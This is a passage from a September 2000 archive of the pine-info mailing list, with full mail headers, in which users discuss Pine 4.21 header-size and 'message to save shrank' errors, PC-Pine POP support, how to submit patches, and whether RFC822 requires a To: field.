	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA29061;
	Sat, 2 Sep 2000 03:39:17 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA147034
	for <pine-info@lists.u.washington.edu>; Sat, 2 Sep 2000 03:38:34 -0700
Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA24949
	for <pine-info@u.washington.edu>; Sat, 2 Sep 2000 03:38:34 -0700
Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14])
	by rhea.worldonline.nl (Postfix) with SMTP
	id 65C9336B6A; Sat,  2 Sep 2000 12:38:18 +0200 (MET DST)
Message-Id: <Pine.SOL.3.96.1000902122158.28232B-100000@shell.worldonline.nl>
Date: Sat, 2 Sep 2000 12:38:32 +0200 (MET DST)
Reply-To: Bruce Cohen <cohenb@worldonline.nl>
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Bruce Cohen <cohenb@worldonline.nl>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: header size inconsistant (sic), message to save shrank
In-Reply-To: <Pine.GSO.4.21.0009022000370.29008-100000@fgh.geac.com.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Cc: pine@cac.washington.edu, pine-bugs@cac.washington.edu,
        Dave Horsfall <dave@fgh.geac.com.au>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Could the developers please come into this discussion? Too many of us are
having problems that are definitely header-related and as far as I can
tell they don't seem to have been solved in 4.21, considering the frequent
complaints in the Pine Discussion Forum. I for one am certainly wary of
upgrading from 3.96 (which used to work PERFECTLY) in view of what I have
been reading here. Exactly what is going on?

(a msg from me and one from Atle Weibell follow the one from Dave, but
there have been many others the past few weeks). 

Bruce Cohen

----------------------

On Sat, 2 Sep 2000, Dave Horsfall wrote:

> First, it's "inconsistent," not "inconsistant."

>Anyway, this has to be the most useless error message ever.  All of a
>sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with
this message as its last gasp.

>Now where, exactly, is the problem in my mailbox?

-- >Dave Horsfall CL VK2KFU dave@geac.com.au Ph: +61 2 9978-7493 Fx: *9978-7422
-- >Geac Computers P/L (FGH Division) 2/57 Christie St, St Leonards 2065, 
-- >Australia

-------------------------------

Date: Sat, 12 Aug 2000 08:12:26 +0200 (MET DST)
From: Bruce Cohen <cohenb@worldonline.nl>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Cc: Atle Weibell <atlwe@ux.his.no>
Subject: Re: Message to save shrank

I, too, have been having problems with message to save shrank for some months.
The problem started when my provider installed a different io handler.
If I look at the headers, I see that this new io handler adds a line to 
the first "Received:" header: for example,

    (envelope-from PINE-INFO-owner@u.washington.edu)

If I log on to pine and do not open the INBOX and then
quit the automatic move to mbox works fine, however neither the automatic move
or the manual save to mbox will work if the INBOX has actually been opened.

The message will shrink by a certain number of bytes, depending upon who sent
the message. In the above example (PINE-INFO as sender) the message to save
shrinks by 64 bytes - the above line is however only about 48 bytes.

If I look at the headers in the pine INBOX I see that the previous line appears to be
too long (DST is in the wrong place):

Received: from put.worldonline.nl (relay-2.worldonline.nl [195.241.48.138])
        by pop3-1.worldonline.nl (8.9.3 (WOL 1.2)/8.9.3) with ESMTP id UAA22295
        for <cohenb@pop3-1.worldonline.nl>; Wed, 2 Aug 2000 20:54:54 +0200 (MET 
DST)
        (envelope-from PINE-INFO-owner@u.washington.edu)

If I then count immediately after MET and count all spaces it's 64 bytes.

If I look at the saved header from the mbox (assuming I can somehow convince
the message to move there), I see that the previous line seems to be OK, if
indeed a trifle long for comfort (76 bytes plus $0A $09). Can it be that
pine expands the TAB to spaces and then recompresses? It it getting confused
because the expanded line is now over 80 bytes? Will this problem disappear
magically if I have the provider upgrade to 4.21 Unix (presently 3.96)?

If I try to respond to a message, the quoting no longer works the way 
it's supposed to: the > only appears on the first line - I have to
add the rest manually!

There are other problems with the INBOX as well, that may or may not be
related to the message shrank problem, but certainly are related to the
change in io handler: 

1) some messages appear twice in the Index - if you read one and quit, the
"duplicate" is gone on the next login. 

2) sometimes messages that aren't marked for deletion are expunged with 
those that are marked. However, on the next login they're (usually) back again
where they belong.

3) sometimes (rarely) messages that are marked for deletion won't expunge.

4) Sorting by date in the INBOX no longer works correctly, as well -
it's ALMOST right, but a few messages will appear out of order...
	
Once a message has made it to the mbox, there are no further problems with
it - it can be moved at will to another folder or whatever.



Can anyone shed any light on the subject?

Bruce Cohen




On Wed, 9 Aug 2000, Atle Weibell wrote:

> Honored Pine users,

>I get this message each time I try to save a mail with attachments to a
>local folder:

>[Message to save shrank!  (#6: 49523 --> 838)

>...where #6 is the message no in INBOX, 49253 the size of the message
>with
>attachment, and 838 the size without attachment.

>I also sometimes get another message:
>[Message size does not match expected size, continuing...]

>This happens also on messages that doesn't contain attachments...

>Anyone knows why this happens?

>Regards,
>-- 
>Atle Weibell | atlwe@ux.his.no | pr 51690007 | mo 90690010 | fx 51690431






From pinedev@shiva0.cac.washington.edu Sun Sep  3 12:57:53 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 12:57:53 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA21933;
	Sun, 3 Sep 2000 12:57:52 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11455;
	Sun, 3 Sep 2000 12:57:52 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA19504;
	Sun, 3 Sep 2000 12:57:16 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA147118
	for <pine-info@lists.u.washington.edu>; Sun, 3 Sep 2000 12:55:52 -0700
Received: from euler.math.washington.edu (root@euler.math.washington.edu [128.95.224.1])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA16060
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 12:55:52 -0700
Received: from goedel3.math.washington.edu (chappa@goedel3.math.washington.edu [128.95.224.12])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id MAA02627;
	Sun, 3 Sep 2000 12:55:38 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009031251570.30695-100000@goedel3.math.washington.edu>
Date: Sun, 3 Sep 2000 12:55:38 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: header size inconsistant (sic)
In-Reply-To: <Pine.GSO.4.21.0009022000370.29008-100000@fgh.geac.com.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Dave Horsfall <dave@fgh.geac.com.au>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** Dave Horsfall (dave@fgh.geac.com.au) wrote in the pine-info list about
"header size inconsistant (sic)" on Sep 2, 2000:

:) First, it's "inconsistent," not "inconsistant."
:) 

  That's the message given by 4.21, which comes from unix.c in the
c-client library, its spelling is corrected in the new version of the
library distributed with the next version of pine. If you want to see an
explanation, there was a thread with the same subject as this one (except
by the word sic) in comp.mail.pine, and there you can find what Mark
explained about it.

  (yes, I did look hard enough, just in case this thread comes back again)

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/


From pinedev@shiva0.cac.washington.edu Sun Sep  3 14:24:49 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 14:24:48 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA23709;
	Sun, 3 Sep 2000 14:24:47 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA18934;
	Sun, 3 Sep 2000 14:24:46 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA01744;
	Sun, 3 Sep 2000 14:24:00 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA174720
	for <pine-info@lists.u.washington.edu>; Sun, 3 Sep 2000 14:23:19 -0700
Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA20352
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 14:23:18 -0700
Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14])
	by rhea.worldonline.nl (Postfix) with SMTP
	id D935D36BD3; Sun,  3 Sep 2000 23:23:02 +0200 (MET DST)
Message-Id: <Pine.SOL.3.96.1000903232031.6624A-100000@shell.worldonline.nl>
Date: Sun, 3 Sep 2000 23:23:17 +0200 (MET DST)
Reply-To: Bruce Cohen <cohenb@worldonline.nl>
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Bruce Cohen <cohenb@worldonline.nl>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: header size inconsistant (sic)
In-Reply-To: <Pine.OSF.4.21.0009031251570.30695-100000@goedel3.math.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Cc: Eduardo Chappa <chappa@math.washington.edu>, pine-bugs@cac.washington.edu,
        pine@cac.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

I don't think that the spelling is the point - it's the header problems
that really concern everyone!


On Sun, 3 Sep 2000, Eduardo Chappa wrote:

> *** Dave Horsfall (dave@fgh.geac.com.au) wrote in the pine-info list about
"header size inconsistant (sic)" on Sep 2, 2000:

:) First, it's "inconsistent," not "inconsistant."
:) 

  That's the message given by 4.21, which comes from unix.c in the
c-client library, its spelling is corrected in the new version of the
library distributed with the next version of pine. If you want to see an
explanation, there was a thread with the same subject as this one (except
by the word sic) in comp.mail.pine, and there you can find what Mark
explained about it.

  (yes, I did look hard enough, just in case this thread comes back again)

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/





From pinedev@shiva0.cac.washington.edu Sun Sep  3 21:12:40 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 21:12:40 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA23898;
	Sun, 3 Sep 2000 21:12:39 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA25166;
	Sun, 3 Sep 2000 21:12:38 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA25016;
	Sun, 3 Sep 2000 21:12:13 -0700
Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA145814
	for <pine-info@lists.u.washington.edu>; Sun, 3 Sep 2000 21:11:14 -0700
Received: from dante55.u.washington.edu (leibrand@dante55.u.washington.edu [140.142.15.105])
	by jason05.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id VAA21782;
	Sun, 3 Sep 2000 21:11:13 -0700
Received: from localhost (leibrand@localhost)
	by dante55.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA76930;
	Sun, 3 Sep 2000 21:11:12 -0700
Message-Id: <Pine.A41.4.29.999.0009032108490.89218-100000@dante55.u.washington.edu>
Date: Sun, 3 Sep 2000 21:11:10 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Scott Leibrand <leibrand+pine@u.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PC-Pine question
In-Reply-To: <Pine.LNX.4.21.0009011833550.20693-100000@ns.shellworld.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Walt Smith <ka3agm@ns.shellworld.net>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: leibrand@dante55.u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

>From the Pine FAQ, section 9.3
(http://www.washington.edu/pine/faq/config.html#9.3):

"Versions of PC-Pine prior to 4.00 cannot be used with a POP (Post Office
Protocol) server. With Unix Pine, and with PC-Pine 4.00 and after, you can
access a POP server..."

The statement you saw was innacurate, as it only applies to pre-4.x
versions of PC-Pine.

-- 
Scott Leibrand
leibrand+pine@u.washington.edu            (Yes, that is a valid address.)
http://students.washington.edu/leibrand
http://www.nwlink.com/~leibrand
* RCW 19.190 notice: This email address is located in Washington State. *
* Unsolicited commercial email may be billed $500 per message.          *

On Fri, 1 Sep 2000, Walt Smith wrote:

> On another list, I saw the statement made that PC-Pine works only with
> IMAP servers and that if your remote mail server is a POP3, it probably
> won't function.  I haven't yet tried PC-Pine, but my Unix copy of Version
> 4.21 accesses POP3 servers just fine, thank you very much.  Should I
> expect the same performance from PC-Pine if I structure the server address
> the same way as I do in Unix Pine?
>
> --
> Walt Smith - Raleigh, NC
> ka3agm@ns.shellworld.net
>
> --
> -----------------------------------------------------------------
>  For information about this mailing list, and its archives, see:
>  http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>


From pinedev@shiva0.cac.washington.edu Sun Sep  3 23:28:26 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 23:28:26 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA26879;
	Sun, 3 Sep 2000 23:28:24 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA21143;
	Sun, 3 Sep 2000 23:28:24 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08104;
	Sun, 3 Sep 2000 23:27:58 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA42392
	for <pine-info@lists.u.washington.edu>; Sun, 3 Sep 2000 23:27:17 -0700
Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA15131
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 23:27:17 -0700
Received: from asn47.whidbey.net (asn47.whidbey.net [204.57.140.117])
	by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id XAA24989
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 23:27:15 -0700 (PDT)
Message-Id: <Pine.WNT.4.21.0009032325010.-380667@personal>
Date: Sun, 3 Sep 2000 23:27:44 -0700 (Pacific Daylight Time)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: David Rientjes <rientjes@mail.whidbey.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Diffs
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-X-Sender: rientjes@mail.whidbey.net
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Morning...

I have two questions regarding patch (diff) files for the PINE email
client:
  i) where should diff files be directed?  (I assume this mailing list)
 ii) is it preferred to have the diff file in the body of the message
     or as an attachment?  (I assume as an attachment)
iii) what is the preferred diff file format?  (I assume it's unified)

Thanks.

-- David Rientjes

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun Sep  3 23:56:03 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 23:56:03 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA27069;
	Sun, 3 Sep 2000 23:56:02 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA27729;
	Sun, 3 Sep 2000 23:56:01 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08407;
	Sun, 3 Sep 2000 23:55:40 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA47258
	for <pine-info@lists.u.washington.edu>; Sun, 3 Sep 2000 23:55:10 -0700
Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA16311
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 23:55:10 -0700
Received: from asn47.whidbey.net (asn47.whidbey.net [204.57.140.117])
	by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id XAA27788
	for <pine-info@u.washington.edu>; Sun, 3 Sep 2000 23:55:07 -0700 (PDT)
Message-Id: <Pine.WNT.4.21.0009032348290.-330099@personal>
Date: Sun, 3 Sep 2000 23:55:37 -0700 (Pacific Daylight Time)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: David Rientjes <rientjes@mail.whidbey.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Empty header messages
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-X-Sender: rientjes@mail.whidbey.net
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Hi...

I recommend removing the empty-header-messages parameter and forcing
composed email messages to contain a correctly formatted "To" field.  As
it stands right now, users may leave the "To" field empty and include
other fields (i.e. "Cc", "Bcc", "Fcc") to send to users.

I am recommending this because of the following text in RFC822 which seems
to have been ignored:

     A.3.  COMPLETE HEADERS

     A.3.1.  Minimum required

        Note that the "Bcc" field may be empty, while the "To" field
        is required to have at least one address.

There are no benefits to leaving a "To" field empty and using other fields
such as "Cc" and "Bcc"; the only use they've had recently have been in
spam emails where intelligent users have filtered email that has not been
sent to their own email address or other configurable addresses.  Using
only the "Cc" field defeats the purpose and intent of it (since it is
intended to be a carbon-copy of an email sent to other recipients).

A patch has been written by myself for this change.  Comments are
welcomed.

-- David Rientjes

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Mon Sep  4 00:28:21 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 4 Sep 2000 00:28:20 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA29266;
	Mon, 4 Sep 2000 00:28:19 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA22089;
	Mon, 4 Sep 2000 00:28:19 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA27011;
	Mon, 4 Sep 2000 00:27:54 -0700
Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA163644
	for <pine-info@lists.u.washington.edu>; Mon, 4 Sep 2000 00:27:18 -0700
Received: from dante27.u.washington.edu (leibrand@dante27.u.washington.edu [140.142.15.82])
	by jason04.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id AAA61386;
	Mon, 4 Sep 2000 00:27:17 -0700
Received: from localhost (leibrand@localhost)
	by dante27.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA46184;
	Mon, 4 Sep 2000 00:27:17 -0700
Message-Id: <Pine.A41.4.29.999.0009040021170.90836-100000@dante27.u.washington.edu>
Date: Mon, 4 Sep 2000 00:27:16 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Scott Leibrand <leibrand+pine@u.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Empty header messages
In-Reply-To: <Pine.WNT.4.21.0009032348290.-330099@personal>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: David Rientjes <rientjes@mail.whidbey.net>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: leibrand@dante27.u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

I'm no expert on RFC822 (as I know some of the Pine developers are), but
the way I read it, the To: field is not required.  All that is required is
one destination field, as shown here:

     fields      =    dates                      ; Creation time,
                      source                     ;  author id & one
                    1*destination                ;  address required
                     *optional-field             ;  others optional

where a destination field is defined as one of:

     destination =  "To"          ":" 1#address  ; Primary
                 /  "Resent-To"   ":" 1#address
                 /  "cc"          ":" 1#address  ; Secondary
                 /  "Resent-cc"   ":" 1#address
                 /  "bcc"         ":"  #address  ; Blind carbon
                 /  "Resent-bcc"  ":"  #address

The appendix example you cite only says that the To: field must contain
one or more addresses if it's present.  Pine does comply with this, as it
leaves out the To: field unless it has an address (or LCC/BCC
pseudo-address) in it.

-- 
Scott Leibrand
leibrand+pine@u.washington.edu            (Yes, that is a valid address.)
http://students.washington.edu/leibrand
http://www.nwlink.com/~leibrand
* RCW 19.190 notice: This email address is located in Washington State. *
* Unsolicited commercial email may be billed $500 per message.          *

On Sun, 3 Sep 2000, David Rientjes wrote:

> Hi...
>
> I recommend removing the empty-header-messages parameter and forcing
> composed email messages to contain a correctly formatted "To" field.  As
> it stands right now, users may leave the "To" field empty and include
> other fields (i.e. "Cc", "Bcc", "Fcc") to send to users.
>
> I am recommending this because of the following text in RFC822 which seems
> to have been ignored:
>
>      A.3.  COMPLETE HEADERS
>
>      A.3.1.  Minimum required
>
>         Note that the "Bcc" field may be empty, while the "To" field
>         is required to have at least one address.
>
> There are no benefits to leaving a "To" field empty and using other fields
> such as "Cc" and "Bcc"; the only use they've had recently have been in
> spam emails where intelligent users have filtered email that has not been
> sent to their own email address or other configurable addresses.  Using
> only the "Cc" field defeats the purpose and intent of it (since it is
> intended to be a carbon-copy of an email sent to other recipients).
>
> A patch has been written by myself for this change.  Comments are
> welcomed.
>
> -- David Rientjes
>
> --
> -----------------------------------------------------------------
>  For information about this mailing list, and its archives, see:
>  http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>


From pinedev@shiva0.cac.washington.edu Tue Sep  5 11:56:53 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 11:56:52 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA27172;
	Tue, 5 Sep 2000 11:56:50 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA03809;
	Tue, 5 Sep 2000 11:56:50 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA11151;
	Tue, 5 Sep 2000 11:55:36 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA04886
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 11:53:43 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id LAA12587
	for <pine-info@u.washington.edu>; Tue, 5 Sep 2000 11:53:42 -0700
Received: (qmail 1978 invoked by uid 1828); 5 Sep 2000 18:50:36 -0000
Message-Id: <Pine.GSO.4.21.0009051141320.25212-100000@vax.area.com>
Date: Tue, 5 Sep 2000 11:50:36 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: mattack@area.com
